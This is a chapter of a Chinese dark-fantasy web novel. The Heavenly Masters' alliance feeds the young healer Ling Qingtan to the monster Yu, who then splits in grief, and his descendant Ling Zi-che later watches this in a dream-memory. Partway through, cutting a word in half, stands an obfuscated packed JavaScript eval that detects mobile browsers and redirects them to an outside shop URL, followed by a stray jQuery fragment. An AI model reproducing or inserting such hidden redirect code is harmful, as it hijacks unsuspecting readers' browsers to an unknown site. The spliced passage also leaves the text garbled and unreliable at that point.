……再次回过神来的时候,他已经到了天师联盟,变得更加苍老的封家老天师紧紧握住他的手,“令公子,你将是我们战胜妖邪的唯一希望!”眼中随即迸发出奇异的光芒,让他下意思瑟缩,却无处可退。
他知道,自己从此再无选择的余地了;他沉默着,听着封家天师给自己一一讲述,作为“妖邪浊气”的源头,矞究竟做了多少罄竹难书的恶行……他甚至都没有机会去问,当年那只符箓竟然是这样的作用,因为更加残酷的真相一一展现,他即便再迟钝,也知道了他们把自己弄过来的理由——“你们希望我做什么?”
此话一出,封天师眼神一凛,“既然令公子你已经有所预料,那老夫也不再瞒你……天师联盟即将向妖山发难,可我们却仍然不知道那妖物的本质,而公子你,既然能在它身边那么久,想必知道一些内幕……我们希望,您能亲手压制那邪物!”
余光瞥见其他天师对自己虎视眈眈的眼神,他由此知道自己没有选择的余地,只是道,“我需要一定时间进行研究,再做考虑。”
封家的老天师对此也有所预料,捋着胡须道,“理解理解,公子你需要什么样的东西,只管叫我们吩咐就好,只是……要快啊!我们必须在那妖邪祸首乱世之前,将他剿灭!!!”
他垂下眼帘,对此不置可否,来到被专人看守的房间进行研究,这与在黛山宫的悠闲截然不同,他必须争分夺秒……就算他想要悠闲一点,其他的天师也会对自己发难,封家的老天师冷眼旁观,只是道:“莫非,令公子对那妖邪祸首还心存侥幸?!”
他从书籍和药材中这才抬起头,还没开口,那封家天师又絮叨起来,“公子,或许你见过我们都不曾知晓的,那个怪物的‘另一面’,或许在你眼中,它是个好人,但是……那又如何?这一切能抵消他犯下的罪恶吗?!令公子,我劝你想清楚,好自为之!”
他张了张嘴,最后还是决定不予以辩驳,矞是个什么样的“人”,这个世界上还会有人比他更清楚吗?至少,在他眼里,阿矞是个有血有肉的“人”,而不是怪物;只要是人,就会有不同的一面——或许是“善”,或许是“恶”,矞或许做过错事不假,但任何人都不能置喙“他”曾经的良善!
矞……我该怎么办……他对着天师联盟“施舍”给自己的典籍陷入了沉思:矞,你为什么要吃掉自己的养父?那一刻的你,难道被什么所控制了吗?!
忽然间,他灵光一现,让封天师给自己找来被妖邪浊气“污染”的人的资料,他之前接触的多为妖物,很少给人类诊治……封天师虽然不明所以,但还是给他了,于是其中一则关于“易子而食”的记录引起了他的注意。
并不同于“交换自己的孩子来食用”这样本来就很残忍悲哀的案例,这个案例中的“所食”更加残酷,更加让人难以置信,属于是让普通人看一眼就会作呕的级别,但他却从中看到了一个“概念”——“补全”,吃是为了“补”,案例中因为“天缺”了耳朵,所以吃了别人的耳朵来“补全”……他不禁想到,春神句芒司章万物萌发的草木之力,而将这份权能“吃掉”从而“补全”了的矞——
“他一直在模仿。”他对封天师这样说道,“你们的希望落空了,‘祂’已经吸收了春神的力量,变得不死不灭,春风吹又生……你们不可能剿灭他了。”
在其他天师变得阴沉的目光中,他又故作轻松的开口,“把我送给他吃掉吧,真正意义上……他一直在模仿着成为‘完整的人’?他缺失的‘最后’,就由我的‘死亡’来补全……这样他才会明白,明白何为‘完美’。”
封天师倒吸一口凉气,惊疑不定地看向眼前云淡风轻的青年,原本还想确认对方是否只是在说笑,他却再次开口了,“‘祂’已经学会了很多很多,但他还是不明白什么叫做‘爱与死’……你们可以在我的身体上下咒,让他被你们分块镇压,但有一点我要提醒你们——”
“‘祂’,还会回来。”这是他留给世界的最后两句话,“而我,会继续爱他,直至死亡……也不会将我们分开。”
……接下来回忆的一切,令子澈从“已死”的令青潭身上剥离开来,以一种第三人称的视角去俯视,他看到:
银月高悬,天师们将他的遗体做成了美味佳肴,送给了毫无防备的矞;而矞,这个本身就在“模仿形成的人性”与“先天拥有的怪物性质”之间挣扎的个体,在某种联盟研究出来的某种“诱食剂”的影响下,又或者祂本身就对青潭充满“食欲”,因此将那些佳肴囫囵吞下,然后流下来晶莹的泪水……
祂,终于,意识到了——那是自己的爱人,是祂的“一切”为他选择的“爱侣”。
月光下,祂的身体膨胀成比小山还要高耸的肉瘤,悲伤和愤怒化为了“实质”,祂睁开了亿万双眼睛,伸出无数的触手,痛苦地发出足以让一切污染的悲鸣——“同僚们!随我除妖!”“封家的人!我诅咒你们!!!”若是以前,区区人类哪里会是祂的对手,可是,挚爱的死亡深深地烙印在自己的意识之中,让祂产生了巨大的精神分离——一个“祂”认为需要让那些人类为此付出代价,另一个“他”却产生了浓烈的自毁之心……“唔啊啊啊啊啊————!!!”
那个从最开始,就会对自己轻笑的人类……已经不在了啊!祂,又能如何?他,又能如何?“让他复活……”“再造一个他……”“但这都不是他……”“要与他再会……”
面对这样的犹如剖开心脏的痛苦,即便是无能为力只能旁观的令子澈也觉得无比痛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706646|206347||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
苦;而那可怖的怪物,原本不懂得何为死亡,在品尝到挚爱的死亡之后……面临挚爱给予自己的两个选择——“要接受这死亡吗?还是不接受?”
“我只想再见到你——!!!”在小山一样的肉块闷声用难以理解的语言,咆哮出这句话之后,就连令子澈也发现了不对劲,因为他发现,肉山上有一只眼睛突然看向了自己……然后是第二只,第三只,随后所有的眼睛都看了过来——“找到你了。”
“我接受?我不接受?”怪物还是陷入了长久的挣扎,最后“祂”选择了——
令子澈看到,有一半的肉山消弭于无形,恐怕那一半选择了“接受”,而另一半则因为力量大减被天师联盟镇压,随后封印在黛山……再后来,一切的“故事”就像是走马灯一样在令子澈眼前快速闪过,莳萝如何在真相的冲击下自毁,小月如何自愿回到黛山管理封印,封家人又是如何恐惧那份诅咒,于是便让自己的“某些”后代带上面具——一切好像进入了短暂的平和之中,但令子澈依然后背发凉,因为他被对方“看见了”。
所以,其实在这个时候,矞被“自己”分裂了?令子澈心想,可能是分成了广义上的“善矞”和“恶矞”,但又感觉不太一样……林晚可能只是矞的一部分,极有可能是“恶”的那一部分,所以它无论如何也无法理解,只能机械地重复表达爱语,那么,还有一部分呢?难道破局的办法是再分裂?还是……融合?!
令子澈觉得这份回忆还是没有解决真正的问题,不由得有些失落,可还有一些事情让他很在意,关于封家的诅咒,以及面具下的面容……思忖间,他发现梦境还是没有结束,很快画面来到了令家——他们后来离开了京城,来到了椿山,也就是后来的白鹤镇安居乐业,依旧为部分妖物诊治,直到——
令子澈看见了另一个“自己”,也就是自家奶奶的小叔叔,到他这一辈的时候,令家人已经不太能修行了,可他遇见了一个戴面具的人……不对啊?他遇见的不应该是林晚那厮吗?令子澈让自己的意识跟了过去,他看见两人坠入了爱河,那个戴面具的人非常温柔体贴,他们热恋,将自己交给彼此,然后那个人的面具滑落——露出了和林晚一模一样的脸。
看到这里,令子澈不知道自己该惊讶还是……但很快,对方的家里人找了上来,要求两人分开,而面具男的家里人居然——“我们是天师联盟的盟主封家人……我们绝不会允许本家长子和一个不能修行的人在一起!”
梦境到这里戛然而止,令子澈不知道自己的上一世后来又是怎么“早死”的,但从最后的梦中,他意识到了一件事——封家后代中带上面具的,都是和林晚长得一模一样的人!!那么,善矞的那一部分,后来去了哪里……这个问题迎刃而解!!!